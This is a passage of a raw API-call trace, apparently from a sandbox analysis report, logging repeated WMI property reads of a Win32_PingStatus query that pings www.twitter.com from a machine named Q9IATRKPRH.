plFlavor=0x22a3dc4*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3dc0*=8, plFlavor=0x22a3dc4*=64) returned 0x0 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3de8*=0, plFlavor=0x22a3dec*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a3de8*=8, plFlavor=0x22a3dec*=64) returned 0x0 [0162.947] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.947] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a3e40*=0, plFlavor=0x22a3e44*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a3e40*=8, plFlavor=0x22a3e44*=64) returned 0x0 [0162.947] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.947] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a401c*=0, plFlavor=0x22a4020*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a401c*=3, plFlavor=0x22a4020*=64) returned 0x0 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4050*=0, plFlavor=0x22a4054*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a4050*=8200, plFlavor=0x22a4054*=64) returned 0x0 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4084*=0, plFlavor=0x22a4088*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a4084*=8, plFlavor=0x22a4088*=64) returned 0x0 [0162.947] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.947] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.947] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a40d0*=0, plFlavor=0x22a40d4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a40d0*=8, plFlavor=0x22a40d4*=64) returned 0x0 [0162.947] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.948] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.948] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a411c*=0, plFlavor=0x22a4120*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a411c*=8, plFlavor=0x22a4120*=64) returned 0x0 [0162.948] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.948] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.948] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0162.948] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0162.948] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.948] IWbemClassObject:Get (in: This=0x5f6b650, wszName="BufferSize", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4354*=0, plFlavor=0x22a4358*=0 | out: pVal=0x5bde8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22a4354*=19, plFlavor=0x22a4358*=0) returned 0x0 [0162.948] IWbemClassObject:Get (in: This=0x5f6b650, wszName="BufferSize", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4354*=19, plFlavor=0x22a4358*=0 | out: pVal=0x5bde980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22a4354*=19, plFlavor=0x22a4358*=0) returned 0x0 [0162.948] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.948] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.949] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.949] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.949] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.949] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.949] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0162.949] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.949] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.949] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0162.949] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.949] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.949] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.949] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.949] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.949] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.949] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.949] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.949] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.949] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.949] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.949] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.949] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.949] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.949] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.949] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.949] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.950] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.950] SysStringByteLen (bstr="__PATH") returned 0xc [0162.950] SysStringByteLen (bstr="__PATH") returned 0xc [0162.950] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4880*=0, plFlavor=0x22a4884*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a4880*=3, plFlavor=0x22a4884*=64) returned 0x0 [0162.950] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a48b4*=0, plFlavor=0x22a48b8*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a48b4*=8, plFlavor=0x22a48b8*=64) returned 0x0 [0162.950] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.950] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.950] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a490c*=0, plFlavor=0x22a4910*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a490c*=8, plFlavor=0x22a4910*=64) returned 0x0 [0162.950] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4934*=0, plFlavor=0x22a4938*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a4934*=8, plFlavor=0x22a4938*=64) returned 0x0 [0162.950] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.950] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.950] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a498c*=0, plFlavor=0x22a4990*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a498c*=8, plFlavor=0x22a4990*=64) returned 0x0 [0162.951] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.951] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.951] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4b74*=0, plFlavor=0x22a4b78*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a4b74*=3, plFlavor=0x22a4b78*=64) returned 0x0 [0162.951] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4ba8*=0, plFlavor=0x22a4bac*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a4ba8*=8200, plFlavor=0x22a4bac*=64) returned 0x0 [0162.951] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4bdc*=0, plFlavor=0x22a4be0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a4bdc*=8, plFlavor=0x22a4be0*=64) returned 0x0 [0162.951] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.951] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.952] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4c28*=0, plFlavor=0x22a4c2c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a4c28*=8, plFlavor=0x22a4c2c*=64) returned 0x0 [0162.952] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.952] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.952] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4c74*=0, plFlavor=0x22a4c78*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a4c74*=8, plFlavor=0x22a4c78*=64) returned 0x0 [0162.952] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.952] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.952] IWbemClassObject:Get (in: This=0x5f6b650, wszName="ResponseTime", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a4eac*=0, plFlavor=0x22a4eb0*=0 | out: pVal=0x5bde898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), pType=0x22a4eac*=19, plFlavor=0x22a4eb0*=0) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.952] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.953] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0162.953] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.953] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.953] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0162.953] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.953] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.953] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.953] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.953] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.953] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.953] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.953] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.953] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.953] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.953] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.953] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.953] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.953] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.953] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.953] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.954] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.954] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.954] SysStringByteLen (bstr="__PATH") returned 0xc [0162.954] SysStringByteLen (bstr="__PATH") returned 0xc [0162.954] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5260*=0, plFlavor=0x22a5264*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a5260*=3, plFlavor=0x22a5264*=64) returned 0x0 [0162.954] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5294*=0, plFlavor=0x22a5298*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a5294*=8, plFlavor=0x22a5298*=64) returned 0x0 [0162.954] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.954] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.954] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a52ec*=0, plFlavor=0x22a52f0*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a52ec*=8, plFlavor=0x22a52f0*=64) returned 0x0 [0162.954] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5314*=0, plFlavor=0x22a5318*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a5314*=8, plFlavor=0x22a5318*=64) returned 0x0 [0162.954] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.954] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.955] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a536c*=0, plFlavor=0x22a5370*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a536c*=8, plFlavor=0x22a5370*=64) returned 0x0 [0162.955] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.955] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.955] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5548*=0, plFlavor=0x22a554c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a5548*=3, plFlavor=0x22a554c*=64) returned 0x0 [0162.955] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a557c*=0, plFlavor=0x22a5580*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a557c*=8200, plFlavor=0x22a5580*=64) returned 0x0 [0162.955] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a55b0*=0, plFlavor=0x22a55b4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a55b0*=8, plFlavor=0x22a55b4*=64) returned 0x0 [0162.955] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.955] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.955] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a55fc*=0, plFlavor=0x22a5600*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a55fc*=8, plFlavor=0x22a5600*=64) returned 0x0 [0162.955] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.956] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.956] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a5648*=0, plFlavor=0x22a564c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 